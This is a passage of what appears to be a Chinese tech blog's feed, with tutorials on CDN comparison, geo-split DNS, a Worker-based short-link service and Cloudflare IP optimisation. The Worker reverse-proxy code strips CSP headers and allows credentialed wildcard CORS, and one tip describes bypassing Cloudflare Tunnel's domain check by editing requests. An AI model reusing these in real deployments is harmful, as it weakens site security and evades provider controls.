&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-11.eUgmGLfJ.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-12.CFrqoqSg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;回源配置&lt;/h1&gt;
&lt;p&gt;再接着就是因为ESA照抄Cloudflare所以创建加速站点的时候默认是HTTP走80HTTPS走443回源如果你要更改回源的端口还需要浪费一个回源规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-13.kBUpMH-_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而EdgeOne可以在创建站点的时候直接就设置回源端口以及回源Host。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-14.DFftznfJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;SSL 证书签发&lt;/h1&gt;
&lt;p&gt;再到SSL签发首先两家都支持默认的CNAME签发也就是你把域名解析到我这我帮你签SSL但是EdgeOne的CNAME签发是每一个站点单独签一次。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-15.DcbsehW_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而ESA是统一管理你给我个DCV我直接给你签一个泛域名之后你就用去吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-16.DK9b0pyT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;规则隔离与互通&lt;/h1&gt;
&lt;p&gt;然后就是最重磅的EdgeOne独属的左右脑互搏时刻。&lt;/p&gt;
&lt;p&gt;在EdgeOne CDN和EdgeOne Page中他俩的规则竟然不是互通的CDN业务走CDN的规则Page的规则走Page的规则也行吧他想做干湿分离我配两套没问题。&lt;/p&gt;
&lt;h2&gt;功能阉割&lt;/h2&gt;
&lt;p&gt;但是阉割是什么意思为什么CDN可以写地域判断Page就只能写IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-17.DDPbPEi7.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-18.C_LM5LSw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么也没有什么让Page吃上CDN规则的方法呢有的兄弟有的但是这样会在控制台看到双倍流量如果你的Page纯静态可以写个全缓存缓解一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-19.DrlaJ5zR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Page 服务对比&lt;/h1&gt;
&lt;p&gt;接着到Page部分。&lt;/p&gt;
&lt;p&gt;EdgeOne的Page你可以直接看作是Cloudflare Page的本地化甚至突破了核心代码直接可以在Page里面跑Nodejs服务要知道Cloudflare Page也只有一个V8环境Umami也可以SSR函数小于等于128MB即可并且可以托管海量大和多的文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-20.q8bPeFxU.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而ESA Page非常像云函数FC改过来的虽然也支持函数吧但没有完整的Nodejs环境甚至最近WebSocket也被砍了关闭后就打不开了并且托管的文件数以及单文件大小如下限制。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-21.DF2ERbfw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;速度与限速&lt;/h1&gt;
&lt;p&gt;最后就是速度相关根据多方数据以及自测两个CDN都会在长时间的单IP上下行请求逐渐将速率削减至大约 500KB/s但如果只是正常业务使用短时间的突发速率都可以飙到50MB/s左右但不能长期所以这俩CDN都不适合反向代理对象存储以及大文件分发如果有类似业务需求还是老实用CloudflareCF是不限速的。&lt;/p&gt;
</content:encoded></item><item><title>完全免费!搭建一个自己的短链服务!</title><link>https://blog.acofork.com/posts/static-redirect-group/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-redirect-group/</guid><description>利用Cloudflare Worker+Github搭建一个纯静态刷不死的短链吧</description><pubDate>Wed, 14 Jan 2026 23:39:31 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本来不应该有这篇文章的因为这篇文章就是一个该项目的简单自部署教程应该写到仓库的README中本来应该是让AI代工的但是我发现它非常执着于那个b Github Page+Cloudflare Worker的神奇前后端分离而且徒增了不少工作。其实该项目仅需一个Cloudflare Worker就行了所以既然都要我手写了我氵篇文章也是合情合理的吧&lt;/p&gt;
&lt;h1&gt;项目原理&lt;/h1&gt;
&lt;p&gt;该项目和上一个短链项目差不多,但是更简化了一些东西&lt;/p&gt;
&lt;p&gt;首先就是,这个项目我们将前后端揉在了一起,前端几乎不校验东西,所有校验在后端,也不用两个项目来回加规则了&lt;/p&gt;
&lt;p&gt;由于该项目前端非常简单就两个html一个创建页面一个重定向页面所以将他们揉在一起也并不臃肿&lt;/p&gt;
&lt;p&gt;再来该项目不再使用Cloudflare服务端的 301/302 重定向也就突破了2000个静态重定向的限制理论上是无限而是直接使用CDN对于静态资产命中404时会fullback到 404.html 再在该文件用 JavaScript 做短链查询和重定向也就跟Nginx伪静态差不多&lt;/p&gt;
&lt;p&gt;再接着如果一个pathname没命中任何规则也会被catch到一个默认的回退源可以兼容类似 https://2x.nz/posts/pin/ --&amp;gt; https://blog.acofork.com/posts/pin/&lt;/p&gt;
&lt;p&gt;然后就是创建短链的逻辑其实跟上一个项目差不多就是Worker代理访问Github改一下js添加一条新的短链规则然后推送这会自动触发Cloudflare Worker的重新构建稍等片刻后访问新的 pathname 就可以得到正确的重定向了&lt;/p&gt;
&lt;p&gt;最后就是我们支持了有效期,原理也非常简单,前端创建短链的时候给后端传一个什么时候过期的字段,后端再写入文件,最后借助 Github Action 的定时巡查清除过期短链&lt;/p&gt;
&lt;h1&gt;在哪搞个短链&lt;/h1&gt;
&lt;p&gt;我的 2x.nz 是在 https://porkbun.com 买的,一年一百左右。其他后缀也不错,如 &lt;code&gt;.im&lt;/code&gt; &lt;code&gt;.mk&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;正式搭建你的短链服务&lt;/h1&gt;
&lt;p&gt;首先Fork仓库&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/Static_Redirect_Group&quot;}&lt;/p&gt;
&lt;p&gt;接下来先更改一些硬编码的东西由于Cloudflare Worker对于静态资产不能使用环境变量所以有些东西是硬编码的请在所有HTML文件中尝试搜索 &lt;code&gt;afoim&lt;/code&gt; 进行更改,改成你的(你也可以多加一层,写一个配置,然后通过构建来注入内容,随你)&lt;/p&gt;
&lt;p&gt;然后请编辑js文件夹里面的短链改为你想要的&lt;/p&gt;
&lt;p&gt;再接着创建一个Github Token只需要有 &lt;code&gt;repo&lt;/code&gt; 权限即可&lt;/p&gt;
&lt;p&gt;继续,绑定机密环境变量,使用 &lt;code&gt;wrangler secret put XXX&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_TOKEN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ghp_xxxx...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;刚才申请的 Token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_OWNER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;你的GitHub用户名&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;例如 &lt;code&gt;afoim&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GITHUB_REPO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Static_Redirect_Group&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;你的仓库名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BASE_DOMAIN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;你的短链域名&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;例如 &lt;code&gt;u.2x.nz&lt;/code&gt; 或 Worker 的默认域名 &lt;code&gt;xxx.workers.dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;此时,访问 &lt;code&gt;/_url&lt;/code&gt; 即可创建你的短链&lt;/p&gt;
&lt;h1&gt;防护&lt;/h1&gt;
&lt;p&gt;建议保护创建短链的短链防刷或Cloudflare Turnstile、速率限制... 随你)&lt;/p&gt;
&lt;p&gt;在Cloudflare创建一个WAF规则&lt;/p&gt;
&lt;p&gt;当传入请求匹配时...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(http.host eq &quot;你的域名&quot; and (
http.request.uri.path eq &quot;/_url&quot;
or http.request.uri.path wildcard &quot;/api/*&quot;
))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后采取措施…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;交互式质询&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用自定义HTTP请求头Host字段实现单节点分流域名的监控</title><link>https://blog.acofork.com/posts/http-header-host/</link><guid isPermaLink="true">https://blog.acofork.com/posts/http-header-host/</guid><description>如果说你有个分流域名,正常来说我们需要两个监测源模拟国内和海外用户访问,但真的需要这么麻烦吗...</description><pubDate>Tue, 13 Jan 2026 17:28:33 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;CDN上托管了那么多的网站那它是如何识别每个用户需要访问哪个网站的呢&lt;/p&gt;
&lt;p&gt;针对 HTTPS CDN 会检查SSL握手报文中的 &lt;code&gt;Server_Name&lt;/code&gt; 字段。而针对 HTTP CDN 会检查请求头中的 &lt;code&gt;Host&lt;/code&gt; 字段&lt;/p&gt;
&lt;p&gt;也就是说我们可以通过直接访问CDN节点 &lt;code&gt;http://blog.acofork.com.a1.initww.com&lt;/code&gt; 并携带上 &lt;code&gt;Host&lt;/code&gt; 头指定为 &lt;code&gt;blog.acofork.com&lt;/code&gt; ,从而强制指定节点访问业务网站,不走分流&lt;/p&gt;
&lt;p&gt;那么如果CDN开启了强制HTTPS呢监测请求会被301到分流域名这样不就没意义了吗&lt;/p&gt;
&lt;p&gt;并不是我们只需要让它监测301/302是否能正常返回即可不吃它的重定向。如果说CDN节点被打宕机了它应该什么状态码都不返回如果说CDN节点返回拦截页面那它也不可能返回301/302 ,所以这样监测是有效的&lt;/p&gt;
&lt;p&gt;经测试EdgeOneESA都是先进行WAF拦截也就是你使用HTTP访问若该请求不合法将会直接被拦截EO返回418ESA返回403不会进行HTTPS升级&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;部署一个Uptime Kuma或者其他服务监测源必须在国内。因为EOESA我们要做拦截海外策略&lt;/p&gt;
&lt;p&gt;如图写监测项目直接使用HTTP协议监测CDN节点并且携带Host头将重定向设为0只要返回 301/302 就算存活为了减轻站点压力建议使用HEAD请求&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/http-header-host-1.B9mphNia.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/http-header-host-2.Buq50Tw2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Demo&lt;/h1&gt;
&lt;p&gt;::url{href=&quot;https://status.acofork.com&quot;}&lt;/p&gt;
</content:encoded></item><item><title>网站分流怎么做?全球秒开!有点坐牢,但是好玩!</title><link>https://blog.acofork.com/posts/fenliu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fenliu/</guid><description>网站分流看着很难实际上一点都不简单如果你也感兴趣想坐牢那就来试试8</description><pubDate>Mon, 12 Jan 2026 02:09:05 GMT</pubDate><content:encoded>&lt;h1&gt;需分流的网站&lt;/h1&gt;
&lt;p&gt;博客本体,主站
::url{href=&quot;https://blog.acofork.com&quot;}
Umami用于在网站插入一个JS来进行访客统计以及展示访客信息
::url{href=&quot;https://umami.acofork.com/share/CdkXbGgZr6ECKOyK&quot;}
静态随机图用于置顶文章Cover和整个网站的背景图
::url{href=&quot;https://pic1.acofork.com&quot;}&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;其他: https://acofork.com , https://www.acofork.com
这些都是要 &lt;strong&gt;301&lt;/strong&gt; 重定向到 https://blog.acofork.com 的域名,我们也需要为其配置分流&lt;/p&gt;
&lt;h1&gt;各CDN SSL申请方案&lt;/h1&gt;
&lt;h3&gt;EdgeOne&lt;/h3&gt;
&lt;p&gt;由于NS直接在EdgeOne故直接申请
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-1.Dmj-83Hk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ESA&lt;/h3&gt;
&lt;p&gt;使用DCV委派
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-2.BNhYUghp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Cloudflare&lt;/h3&gt;
&lt;p&gt;使用HTTP验证由于ACME验证节点在国外所以它只会看到CNAME到Cloudflare的记录从而签发SSL
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-3.D5AYFaIQ.png&quot; alt=&quot;&quot; /&gt;
针对重定向的域名由于默认所有请求都会被重定向到新域ACME自然无法验证所以我们需要写一条排除规则让ACME验证路径直接返回200 OK其余的路径再重定向
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-17.Dyc1olNb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;源站类型&lt;/h1&gt;
&lt;h3&gt;静态型&lt;/h3&gt;
&lt;p&gt;国内使用对应CDN的Page业务海外使用Cloudflare Worker。至于为什么不将 &lt;code&gt;blog.acofork.com&lt;/code&gt; 也放在EdgeOne Page一是因为EdgeOne CDN和Page的WAF规则是分开的而Page业务的WAF规则不是很好做海外封锁二是因为EO在之前被打的时候将这个子域封了。而ESA Page可以很简单做到海外封禁
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-4.DUEIQKTB.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-5.D_qAaE-D.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-16.DLYoxOZ0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;动态型&lt;/h3&gt;
&lt;p&gt;国内使用IPv6回源用户 - IPv4 - EO/ESA CDN - IPv6 - 源站。至于为什么不用ESA是因为ESA CDN回源非标端口需要像Cloudflare一样写一条回源规则占用免费规则集5条中的其中之一
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-6.CSAHx97r.png&quot; alt=&quot;&quot; /&gt;
海外采用Cloudflare Tunnel用户 - IPv4 - CF CDN - 内部连接 - 源站)
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-7.CDNqN6Fj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;浏览器客户端实现监看当前访问节点&lt;/h1&gt;
&lt;p&gt;利用浏览器JavaScript发送HEAD请求拿取对端响应头Server字段并回显若跨域则需要设置 &lt;strong&gt;Access-Control-Expose-Headers&lt;/strong&gt; 响应头,值为 &lt;strong&gt;server&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-12.CvLyctZ6.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/ae6f93ce318fa428e94256c2b4a501e1.D_wVC-8p.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;ESA Page对超多资源和大文件支持很差。例如静态随机图项目无法部署到ESA Page超出了2000个静态资产&lt;/li&gt;
&lt;li&gt;ESA CDN针对于回源非标端口和Cloudflare一样要通过写回源规则实现很浪费规则推荐使用EdgeOne CDN可以随意指定回源端口
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-8.BOWbqj51.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如果你要做分流业务必须将域名NS托管在国内的DNS解析服务商因为Cloudflare不支持域名分流解析并且请将默认解析给CF将境内解析给国内节点不要反着来
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-9.DscvL3Re.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分流的原理是DNS看查询的源IP如果是国内则返回国内节点海外则返回海外。也就是说你的出口IP决定访问的节点若你开梯子如美国就算你在国内访问到的也是海外节点&lt;/li&gt;
&lt;li&gt;DCV委派只能写一条如果你的NS在EO可以写DCV给ESA而Cloudflare使用HTTP验证这一切都将是一劳永逸全自动化的&lt;/li&gt;
&lt;li&gt;Cloudflare SaaS 在接入外部域名时,非常建议选择 HTTP验证来签发SSL下文会详细说明该验证模式的好处。我们都知道Cloudflare SaaS 在创建的时候对于申请SSL默认选项是 TXT验证但是该方式并不好我们都知道使用TXT验证的确可以签发证书但在3月后上一个SSL证书过期后我们需要及时更新TXT记录来重新申领新的SSL证书但是HTTP验证就不是这样了Cloudflare CDN会自动在边缘节点放上HTTP验证的文件并且Cloudflare可以随时更改这样你就不需要在申领新SSL的时候做任何事情了一切都由Cloudflare自动实现&lt;/li&gt;
&lt;li&gt;Cloudflare SaaS接入外部域名后对于该外部域名是可以享有所有Cloudflare单域名下服务也包括Cloudflare Worker参见 &lt;a href=&quot;/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-workers/&quot;&gt;Cloudflare Worker 优选&lt;/a&gt;)。也可以配置规则等业务,你最终访问的是哪个域名就写哪个主机名,不要写回退源的主机名,除非你想让该规则仅在直接访问回退源时生效
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-11.BZ8Zi1wq.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-10.B1RtvgAN.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Cloudflare Tunnel实际上是可以自定义生效的域名的并非仅局限于账户内域名虽然你在控制台看着是这样我们可以通过抓包更改请求体来实现各种各样的域名它没有验证详见&lt;a href=&quot;/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-tunnelzerotrust/&quot;&gt;Cloudflare Tunnel 优选&lt;/a&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-13.BSKZTTVE.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分流做完后一定要针对国内节点启用封锁海外模式这能大大降低被DDoS致使CDN商给你域名取消接入的概率。Cloudflare随你因为打不死如果你的源站Hold不住也请配置点策略。因为刷子DDoS发起者可以通过强行绑定域名和IP来通过便宜量大的海外IP来攻击你脆弱的国内节点如果什么防护都不做很可能被刷几个TB的异常流量然后被CDN取消接入
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-14.93MlT4fl.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fenliu-15.sk0bc08h.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;成果展示&lt;/h1&gt;
&lt;h3&gt;博客本体&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___blogacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F(1).png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Umami&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___umamiacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;随机图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___picacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>试试Cloudflare IP优选让Cloudflare在国内再也不是减速器</title><link>https://blog.acofork.com/posts/cf-fastip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-fastip/</guid><description>使用SaaS、Worker以及各种奇技淫巧来让你的网站解析的IP进行分流优选提高网站可用性和速度</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本教程初始发布时间为 25年6月&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;未优选&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/098f9ee71ae62603022e542878673e19bdcaf196.BYd5ucrt.webp&quot; alt=&quot;QmZoinxZgAzu7Skh7BqsxmDQGU1sXtLLskJcyQuRAQNKww.webp&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;已优选&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-11.Bnc0DTIE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;结论可见优选过的网站响应速度有很大提升并且出口IP也变多了。这能让你的网站可用性大大提高并且加载速度显著变快。&lt;/p&gt;
&lt;h3&gt;Cloudflare优选域名 https://cf.090227.xyz&lt;/h3&gt;
&lt;hr /&gt;
&lt;h1&gt;Worker路由反代全球并优选&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本方法的原理为通过Worker反代你的源站然后将Worker的入口节点进行优选。此方法不是传统的优选源站接收到的Hosts头仍然是直接指向源站的解析&lt;/p&gt;
&lt;p&gt;以下代码是原Github全站反代代码的二改以实现Worker路由接入优选可能有多余逻辑或者不完全适配于优选需求&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;创建一个Cloudflare Worker写入代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 域名前缀映射配置
const domain_mappings = {
&apos;源站.com&apos;: &apos;最终访问头.&apos;,
//例如:
//&apos;gitea.072103.xyz&apos;: &apos;gitea.&apos;,
//则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz
};
addEventListener(&apos;fetch&apos;, event =&amp;gt; {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const url = new URL(request.url);
const current_host = url.host;
// 强制使用 HTTPS
if (url.protocol === &apos;http:&apos;) {
url.protocol = &apos;https:&apos;;
return Response.redirect(url.href, 301);
}
const host_prefix = getProxyPrefix(current_host);
if (!host_prefix) {
return new Response(&apos;Proxy prefix not matched&apos;, { status: 404 });
}
// 查找对应目标域名
let target_host = null;
for (const [origin_domain, prefix] of Object.entries(domain_mappings)) {
if (host_prefix === prefix) {
target_host = origin_domain;
break;
}
}
if (!target_host) {
return new Response(&apos;No matching target host for prefix&apos;, { status: 404 });
}
// 构造目标 URL
const new_url = new URL(request.url);
new_url.protocol = &apos;https:&apos;;
new_url.host = target_host;
// 创建新请求
const new_headers = new Headers(request.headers);
new_headers.set(&apos;Host&apos;, target_host);
new_headers.set(&apos;Referer&apos;, new_url.href);
try {
const response = await fetch(new_url.href, {
method: request.method,
headers: new_headers,
body: request.method !== &apos;GET&apos; &amp;amp;&amp;amp; request.method !== &apos;HEAD&apos; ? request.body : undefined,
redirect: &apos;manual&apos;
});
// 复制响应头并添加CORS
const response_headers = new Headers(response.headers);
response_headers.set(&apos;access-control-allow-origin&apos;, &apos;*&apos;);
response_headers.set(&apos;access-control-allow-credentials&apos;, &apos;true&apos;);
response_headers.set(&apos;cache-control&apos;, &apos;public, max-age=600&apos;);
response_headers.delete(&apos;content-security-policy&apos;);
response_headers.delete(&apos;content-security-policy-report-only&apos;);
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: response_headers
});
} catch (err) {
return new Response(`Proxy Error: ${err.message}`, { status: 502 });
}
}
function getProxyPrefix(hostname) {
for (const prefix of Object.values(domain_mappings)) {
if (hostname.startsWith(prefix)) {
return prefix;
}
}
return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建路由&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/56752d54-26a5-46f1-a7d9-a782ad9874cb.CzkuRTP6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;类似这样填写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d025398c-39e3-4bd7-8d8f-2ce06a45007d.BZfb0DXO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后写一条DNS解析 &lt;code&gt;CNAME gitea.afo.im --&amp;gt; 社区优选域名,如 cf.090227.xyz&lt;/code&gt; 即可&lt;/p&gt;
&lt;h1&gt;传统优选&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Cloudflare最近将新接入的域名SSL默认设为了完全记得将 SSL 改为灵活。
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-1.ByRDtsAZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们需要&lt;strong&gt;一个域名或两个域名&lt;/strong&gt;单域名直接用子域名即可。双域名比如onani.cn和acofork.cn&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果在同一CF账号下不可用请尝试将俩域名放置在不同账号&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里我们让onani.cn成为主力域名让acofork.cn成为辅助域名&lt;/p&gt;
&lt;p&gt;单域名效果
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip.CCFyge3n.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先新建一个DNS解析指向你的&lt;strong&gt;源站&lt;/strong&gt;&lt;strong&gt;开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/c94c34ee262fb51fb5697226ae0df2d804bf76fe.DQJBWagu.webp&quot; alt=&quot;QmfBKgDe77SpkUpjGdmsxqwU2UabvrDAw4c3bgFiWkZCna.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;strong&gt;辅助域名&lt;/strong&gt;的 SSL/TLS -&amp;gt; 自定义主机名。设置回退源为你刚才的DNS解析的域名xlog.acofork.cn推荐 &lt;strong&gt;HTTP 验证&lt;/strong&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点击添加自定义主机名。设置一个自定义主机名,比如 &lt;code&gt;onani.cn&lt;/code&gt; ,然后选择&lt;strong&gt;自定义源服务器&lt;/strong&gt;,填写第一步的域名,即 &lt;code&gt;xlog.acofork.cn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果你想要创建多个优选也就这样添加,一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认,则源服务器是回退源指定的服务器,即 &lt;code&gt;xlog.acofork.cn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f6170f009c43f7c6bee4c2d29e2db7498fa1d0dc.Bev-ciX-.webp&quot; alt=&quot;QmRYrwjeDMDQCj8G9RYkpjC3X4vpwE77wpNpbqKURwBber.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;继续在你的辅助域名添加一条解析。CNAME到优选节点如cloudflare.182682.xyz&lt;strong&gt;不开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/4f9f727b0490e0b33d360a2363c1026003060b29.Dk0vVwZD.webp&quot; alt=&quot;QmNwkMqDEkCGMu5jsgE6fj6qpupiqMrqqQtWeAmAJNJbC4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名onani.cn目标为刚才的cdn.acofork.cn&lt;strong&gt;不开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/6f51cb2a42140a9bf364f88a5715291be616a254.BlVW1RqY.webp&quot; alt=&quot;QmeK3AZghae4J4LcJdbPMxBcmoNEeF3hXNBmtJaDki8HYt.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优选完毕,确保优选有效后尝试访问
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-fastip-10.BYCdqQDH.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
